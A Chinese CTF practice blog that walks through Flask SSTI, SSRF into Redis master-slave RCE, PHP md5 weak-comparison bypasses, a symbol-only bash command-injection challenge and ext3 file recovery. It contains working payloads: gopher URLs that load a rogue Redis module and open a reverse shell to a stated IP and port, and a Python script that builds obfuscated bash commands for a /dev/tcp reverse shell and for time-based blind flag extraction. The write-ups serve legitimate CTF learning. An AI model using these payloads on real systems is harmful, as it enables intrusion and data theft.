一周刷题记录 | Web&Misc

文章目录

  • BUU
    • 0x00:[WesternCTF2018]shrine
    • 0x01:[网鼎杯 2020 玄武组]SSRFMe
  • HECTF
    • 0x00 ezphp
    • 0x01:ssrfme
    • 0x03:签到
  • 2020 安洵杯
    • 0x00:Bash
    • 0x01:王牌特工


BUU

每天一道题,冲冲冲!


0x00:[WesternCTF2018]shrine

首页便给了一段flask代码,简单分析一下

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()
    
@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
     {% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)

发现这一段代码

app.config['FLAG'] = os.environ.pop('FLAG')
#pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。

一周刷题记录 | Web&Misc_第1张图片
意思便是该题将FLAG存储到了配置变量中,但下面的代码过滤了config以及()

这个题考察的是SSTI,那下面就要想办法去使用config查看所有应用程序的配置值(FLAG值应该包含在其中),需要构造一个和config作用相同的payload,可以使用flask两个内置函数进行构造

  1. url_for() – 用于反向解析,生成url
  2. get_flashed_messages() – 用于获取flash消息

先寻找一下全部全局变量

{
     {
     url_for.__globals__}}
{
     {
     get_flashed_messages.__globals__}}

一周刷题记录 | Web&Misc_第2张图片
发现有current_app全局变量,查看一下config

{
     {
     url_for.__globals__['current_app'].config}}
{
     {
     get_flashed_messages.__globals__['current_app'].config}}
{
     {
     url_for.__globals__['current_app'].config['FLAG']}}

一周刷题记录 | Web&Misc_第3张图片

0x01:[网鼎杯 2020 玄武组]SSRFMe

<?php
function check_inner_ip($url)
{
     
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
     
        die('url fomat error');
    }
    try
    {
     
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
     
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}

function safe_request_url($url)
{
     

    if (check_inner_ip($url))
    {
     
        echo $url.' is inner ip';
    }
    else
    {
     
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
     
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }

}
if(isset($_GET['url'])){
     
    $url = $_GET['url'];
    if(!empty($url)){
     
        safe_request_url($url);
    }
}
else{
     
    highlight_file(__FILE__);
}
// Please visit hint.php locally.
?>

这么长的代码,拆开来看,先看一下check_inner_ip函数

输入的需要匹配到http|https|gopher|dict,下面了解这几个函数,就清楚这段代码所要表达的意思了

  • parse_url:解析 URL,返回其组成部分
  • gethostbyname:返回主机名对应的 IPv4地址
  • ip2long:将 IPV4 的字符串互联网协议转换成长整型数字

再来查看safe_request_url函数要表达的意思,先判断是否是内网IP,如果不是,再跳转到下面。

  • curl_init — 初始化一个cURL会话
  • curl_setopt — 设置一个cURL传输选项
  • curl_exec — 执行一个cURL会话
  • curl_getinfo — 获取一个cURL连接资源句柄的信息

在这里插入图片描述在这里插入图片描述在这里插入图片描述
也是一种PHP的请求方式,那这存在什么漏洞那?

可以看篇文章
https://www.anquanke.com/post/id/86527
这个代码出现漏洞原因便在于,同时用了cURL和parse_url

所有的问题,几乎都是由URL解析器和请求函数的不一致造成的,即使有具体的规定,但是不同的编程语言仍然使用他们自己的实现
一周刷题记录 | Web&Misc_第4张图片
在cURL作为请求的实施者时,它最终将evil.com:80作为了目标
而其他的几种URL解析器则得到了不一样的结果,则产生了不一致。
当他们被一起使用时,可以被利用的有如下的几种组合
一周刷题记录 | Web&Misc_第5张图片
所以可以就构造payload,利用cURL请求外网,利用parse_url请求内网信息

?url=http://1em9n@0.0.0.0/hint.php

0.0.0.0代表本机ipv4的所有地址,使用ip2long函数处理后也是0,因此可以绕过去check_inner_ip函数的检测。

绕过去之后便发现这一段代码
一周刷题记录 | Web&Misc_第6张图片
得到redis的密码是root,这道题考察的是ssrf+redis getshell,但之前接触这方面的题过于少了,所以到这里是一点思路都没有

看了师傅们的WP,遇到ssrf+redis getshell这种的,考察一般都是以下几种姿势:

  • 可写webshell
  • 写ssh公钥
  • 写crontab反弹shell(仅限centos)
  • 主从复制RCE

这道题看师傅们的WP,用的方法都是主从复制RCE,什么是主从复制那?

主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);数据的复制是单向的,只能由主节点到从节点。
在redis4.0版本以上,可以进行主从复制,主从复制是为了备份文件,即主机复制写,从机负责读。思路就是开启恶意服务,让靶机redis认为此为redis服务器,利用主从复制,将恶意构造的exp.so文件加载到redis之中,从而实现getshll或命令执行


https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
要进行主从复制RCE,就需要利用到这两个工具,第一个用于生成payload,也可以启动恶意服务,第二个主要是exp.so。注意需要将第二个工具exp.so导入到第一个工具下,也就是和rogue-server.py同目录,这里先开启一下rogue-server.py 用于伪装为主redis,它开启的端口为6666
在这里插入图片描述
在这里插入图片描述
修改ssrf-redis.py
在这里插入图片描述
一周刷题记录 | Web&Misc_第7张图片
在这里插入图片描述
运行一下
在这里插入图片描述
生成了payload,但无法利用
在这里插入图片描述
看了师傅们的WP,就手动去构造吧,然后再进行二次url编码(因为用到了curl)

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
#解码后即为
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit
//设置备份文件路径为/tmp/ 只有/tmp有权限 ,只需要有读权限即可,所以设置目录的时候要多试试

一周刷题记录 | Web&Misc_第8张图片

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520172.16.176.127%25206666%250d%250aquit
#解码后即为
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 172.16.176.127 6666
quit
#设置备份文件名为:exp.so

在这里插入图片描述
在这里插入图片描述

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%2520172.16.176.127%25206663%250d%250aquit
#解码后即为
gopher://0.0.0.0:6379/_auth root
module load /tmp/exp.so
system.rev 172.16.176.127 6663
quit
#导入 exp.so ,反弹shell到172.16.176.127:6663

在这里插入图片描述
一周刷题记录 | Web&Misc_第9张图片
通过这道题学到了很多东西,ssrf+redis的考法还有很多种,会在另一篇博客中专门总结一下。

参考博客
https://www.jianshu.com/p/a940731cddaf

HECTF

0x00 ezphp

一周刷题记录 | Web&Misc_第10张图片
第一个if条件,md5强类型,没有强制限制类型,所有用数组就可以

param1[]=123&param2[]=111

strtr() 函数转换字符串中特定的字符。
自己本地测试一下就知道了
一周刷题记录 | Web&Misc_第11张图片
第一个if($md5_1 != $md5_2)不能使用hash弱类型比较,经过strtr() 函数替换之后,再使用hash弱类型绕过,既然这个函数可以将md5中出现的cxhp给替换成0123,第一个参数找一个数字(必须为全数字),md5加密后只要是ce开头的即可

payload:

http://121.196.32.184:8081/?param1[]=123&param2[]=111&str1=2120624&str2=QNKCDZO

一周刷题记录 | Web&Misc_第12张图片
这里在写脚本找ce开头的数字时挺有趣的
md5加密之后只可能含有以下a、b、c、d、e、f这个几个字符
在写脚本的时候,一开始只认为只要开头是0e即可,但是测试发现行不通,明明也是0e开头,为什么不相等那?如:
在这里插入图片描述
一周刷题记录 | Web&Misc_第13张图片
并没有出现我们想要的flag,一开始以为是位数的问题,结果不是,观察了通用的Hash 比较缺陷,有一个共同的特征
一周刷题记录 | Web&Misc_第14张图片
后面都是数字,不包含字母,才能使用科学计数法进行弱类型比较

import hashlib
def md5(f):
    return hashlib.md5(f).hexdigest()
for i in range(0, 10000000):
    if 'c' in md5(str(i))[0:2]:
        if 'a' not in md5(str(i))[2:]:
            if 'b' not in md5(str(i))[2:]:
                if 'e' not in md5(str(i))[2:]:
                    if 'd' not in md5(str(i))[2:]:
                        if 'f' not in md5(str(i))[2:]:
                            print 'i:' + str(i) + ' md5:' + md5(str(i))

一周刷题记录 | Web&Misc_第15张图片

0x01:ssrfme

一周刷题记录 | Web&Misc_第16张图片
正则表达式限制我们不能使用SSRF file_get_content函数的黑魔法了,那只能按照http或https协议来,然后下面有一个异常处理代码,如果发生异常则返回flase,恰好最后一段代码有一个,所以我们只要让代码异常抛出即可利用函数读取flag。
在这里插入图片描述
但这个异常不知道要如何利用,往下面看发现可以从这段代码中得到flase

    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 

只要满足传入的地址经过ip2long函数处理后和前面不相等即可

简单了解这几个函数的作用:

  • parse_url:解析 URL,返回其组成部分
  • gethostbyname:返回主机名对应的 IPv4地址
  • ip2long:将 IPV4 的字符串互联网协议转换成长整型数字

0.0.0.0代表本机ipv4的所有地址,使用ip2long函数处理后也是0,便可以使用这个进行读取flag

payload:

?url=http://0.0.0.0/flag.php

一周刷题记录 | Web&Misc_第17张图片

0x03:签到

源代码给出手机号,下面就是爆破验证码
一周刷题记录 | Web&Misc_第18张图片
得到验证码之后重置密码,登陆即可获取flag
一周刷题记录 | Web&Misc_第19张图片

2020 安洵杯

0x00:Bash

一周刷题记录 | Web&Misc_第20张图片

代码也很简单,命令执行,但是构造payload只能使用这几个${#}\\(<)\去构造,还是做题少,之前见的无字母数字构造webshell的都不行,只能看官方的WP。

先了解几个Shell符号

  1. $# => 0

$# 的意思是参数的个数,这道题没有其余的参数所以会是 0
stdin是标准输入,一般指键盘输入到缓冲区里的东西
<<< 的用途是将任意字符串交由前面的指令执行

  1. $(($#<$$)) => 1

(())表示整数扩展,只是执行,并不会返回值,$$ 代表的是目前的 pid ,pid 会 > 0 所以可以得到 1,${##} 也可以得到1

  1. $((1<<1)) => 2

<<双小于号,用来将后继的内容重定向到左侧命令的stdin中

  1. $((2#bbb)) => 任意数字

將 bbb 以二进制制转换成数字,其中2#表示二进制
命令替换: $(command)
算术扩展: $((arithmetic))
stdin重定向: command < file
stdin文字重定向: command <<< text
可变的字符串长度: ${#variable}
bash的参数数量: $#
bash进程ID: $$

Linux下高效编写Shell——shell特殊字符汇总
因为bash 可以用 $'\ooo' 的形式来表达任意字节(ooo 是字节转ascii 的八进制),所以可以执行任意命令

${
     !#}<<<$'\154\163'

在这里插入图片描述

${
     !#}<<<${
     !#}\<\<\<\$\'\\${
     ##}$#${
     ##}\'
也就是
$0<<<$'\101'
101是A的ASCII码值,所以也是在尝试执行命令A

在这里插入图片描述
所以思路就是构造二进制,然后通过ASCII码转化得到所有字母,比如:

$'\154'
${
     !#}<<<$((2#${
     ##}$#$#${
     ##}${
     ##}$#${
     ##}$#))
#2#表示二进制,再替换掉2
${
     !#}<<<$(($((${
     ##}<<${
     ##}))#${
     ##}$#$#${
     ##}${
     ##}$#${
     ##}$#))
$'\163'
${
     !#}<<<$(($((${
     ##}<<${
     ##}))#${
     ##}$#${
     ##}$#$#$#${
     ##}${
     ##}))

所以构造payload

#通过2进制得到所有的数字,八进制可以执行命令,所以得到七个数字即可
n = dict()
n[0] = '$#'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$(($((${##}<<${##}))<<${##}))'
n[5] = '$(($((${##}<<${##}))#${##}$#${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}$#))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

因为这道题0也在白名单中,所以可以将$#直接替换为0也可以,但还有一个问题,仔细看前面举的$'\154'这个例子,如果bash直接解析的话是l,但是第一次解析的话只是数字
在这里插入图片描述
所以转换成数字之后就需要用到 <<< 来重定向了,但是一层不够,只用一层会出现 bash: $'\154': command not found 这样的报错,bash一次解析只能解析到成数字,需要第二次解析。需要给原先的命令添加转义字符

如:ls \
$0<<<$0\<\<\<\$\'\\${
     ##}$(($((${
     ##} <<${
     ##}))#${
     ##}0${
     ##}))$((${
     ##}<<$((${
     ##}<<${
     ##}))))\\${
     ##}$(($((${
     ##} <<${
     ##}))#${
     ##}${
     ##}0))$(($((${
     ##}<<${
     ##}))#${
     ##}${
     ##}))\\$((${
     ##}<<$((${
     ##} <<${
     ##}))))0\\$(($((${
     ##}<<${
     ##}))#${
     ##}0${
     ##}))$(($((${
     ##}<<${
     ##}))#${
     ##}${
     ##}${
     ##}))\'

在这里插入图片描述
无命令回显就用最常见的方法,反弹shell或者是盲注,记录一下师傅的脚本

import requests
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'

f=''

def str_to_oct(cmd):                                #命令转换成八进制字符串
    s = ""
    for t in cmd:
        o = ('%s' % (oct(ord(t))))[2:]
        s+='\\'+o
    return s

def build(cmd):                                     #八进制字符串转换成字符
    payload = "$0<<<$0\<\<\<\$\\\'"
    s = str_to_oct(cmd).split('\\')
    for _ in s[1:]:
        payload+="\\\\"
        for i in _:
            payload+=n[int(i)]
    return payload+'\\\''

def get_flag(url,payload):                          #盲注函数
    try:
        data = {
     'cmd':payload}
        r = requests.post(url,data,timeout=1.5)
    except:
        return True
    return False

#弹shell
'''
url = "http://121.41.231.75:7001/"
get_flag(url,(build('bash -i >& /dev/tcp/121.41.231.75/4444 0>&1')))
'''

#盲注
# '''
a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@'
for i in range(1,50):
    for j in a:
        cmd=f'cat /flag|grep ^{f+j}&&sleep 3'
        url = "http://121.41.231.75:7001/"
        if get_flag(url,build(cmd)):
            break
    f = f+j
    print(f)
#'''

一周刷题记录 | Web&Misc_第21张图片

0x01:王牌特工

一周刷题记录 | Web&Misc_第22张图片
第一眼看到的是flagbox,然后就binwalk一下,得到一个key值,使用VeraCrypt挂载一下硬盘
在这里插入图片描述
但是是假的,回过头看一下发现还有coolboy.swp没有进行分析,应该是隐藏在这里

先用 fsstat findme 查看镜像信息
一周刷题记录 | Web&Misc_第23张图片
然后用 ext3grep --inode 2 findme 查看文件目录
一周刷题记录 | Web&Misc_第24张图片
接着用 ext3grep --restore-file .coolboy.swp findme 恢复指定的文件
一周刷题记录 | Web&Misc_第25张图片
一周刷题记录 | Web&Misc_第26张图片
但是是空的,使用vim -r RESTORED_FILES/.coolboy.swp 恢复它的内容。
一周刷题记录 | Web&Misc_第27张图片
得到真正的key值,再重新挂载flagbox,即可得到flag

你可能感兴趣的:(CTF训练计划,安全)